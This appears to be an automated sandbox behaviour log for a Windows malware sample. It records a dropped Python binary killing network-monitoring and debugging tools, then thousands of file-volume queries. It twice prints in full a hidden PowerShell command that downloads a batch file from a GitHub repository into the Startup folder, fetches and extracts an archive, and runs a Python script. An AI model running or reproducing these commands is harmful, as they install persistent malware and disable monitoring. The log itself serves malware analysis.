Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM burp.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Ethereal.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM EtherApe.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM fiddler.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerSvc.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerUI.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM snpa.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM solarwinds.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM tcpdump.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telerik.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM wireshark.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM winpcap.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telegram.exe	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://github.com/ty9989/u/raw/main/ud.bat', 'c:\users\user\appdata\roaming\\microsoft\\windows\\start menu\\programs\\startup\\windowssecure.bat'); (new-object -typename system.net.webclient).downloadfile('https://github.com/ty9989/z/raw/main/t3.zip', 'c:\\users\\public\\document.zip'); add-type -assemblyname system.io.compression.filesystem; [system.io.compression.zipfile]::extracttodirectory('c:/users/public/document.zip', 'c:/users/public/document'); start-sleep -seconds 1; c:\\users\\public\\document\\python.exe c:\users\public\document\lib\prt.py; remove-item 'c:/users/public/document.zip' -force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://github.com/ty9989/u/raw/main/ud.bat', 'c:\users\user\appdata\roaming\\microsoft\\windows\\start menu\\programs\\startup\\windowssecure.bat'); (new-object -typename system.net.webclient).downloadfile('https://github.com/ty9989/z/raw/main/t3.zip', 'c:\\users\\public\\document.zip'); add-type -assemblyname system.io.compression.filesystem; [system.io.compression.zipfile]::extracttodirectory('c:/users/public/document.zip', 'c:/users/public/document'); start-sleep -seconds 1; c:\\users\\public\\document\\python.exe c:\users\public\document\lib\prt.py; remove-item 'c:/users/public/document.zip' -force"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\__init__.cpython-310.pyc.2165712968240 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\codecs.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\codecs.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\codecs.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\codecs.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\codecs.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\codecs.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\codecs.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\codecs.cpython-310.pyc.2165713124720 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\aliases.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\aliases.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\aliases.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\aliases.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\aliases.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\aliases.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\aliases.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\aliases.cpython-310.pyc.2165712977328 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\utf_8.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\utf_8.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\utf_8.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\utf_8.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\utf_8.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\utf_8.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\utf_8.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\utf_8.cpython-310.pyc.2165712977584 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\cp1252.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\cp1252.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\cp1252.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\cp1252.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\cp1252.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\cp1252.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\cp1252.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\encodings\__pycache__\cp1252.cpython-310.pyc.2165712976432 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\io.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\io.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\io.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\io.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\io.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\io.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\io.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\io.cpython-310.pyc.2165714141568 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\abc.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\abc.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\abc.cpython-310.pyc.2165714142128 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\site.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\site.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\site.cpython-310.pyc.2165714142464 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\os.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\os.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\os.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\os.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\os.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\os.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\os.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\os.cpython-310.pyc.2165714142576 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\stat.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\stat.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\stat.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\stat.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\stat.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\stat.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\stat.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\stat.cpython-310.pyc.2165714146720 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_collections_abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_collections_abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\_collections_abc.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\_collections_abc.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_collections_abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_collections_abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_collections_abc.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\_collections_abc.cpython-310.pyc.2165712968112 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ntpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ntpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\ntpath.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\ntpath.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ntpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ntpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ntpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\ntpath.cpython-310.pyc.2165714151984 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\genericpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\genericpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\genericpath.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\genericpath.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\genericpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\genericpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\genericpath.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\genericpath.cpython-310.pyc.2165714386480 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_sitebuiltins.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_sitebuiltins.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\_sitebuiltins.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\_sitebuiltins.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_sitebuiltins.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_sitebuiltins.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_sitebuiltins.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\_sitebuiltins.cpython-310.pyc.2165714384048 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\distutils-precedence.pth VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\_distutils_hack\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
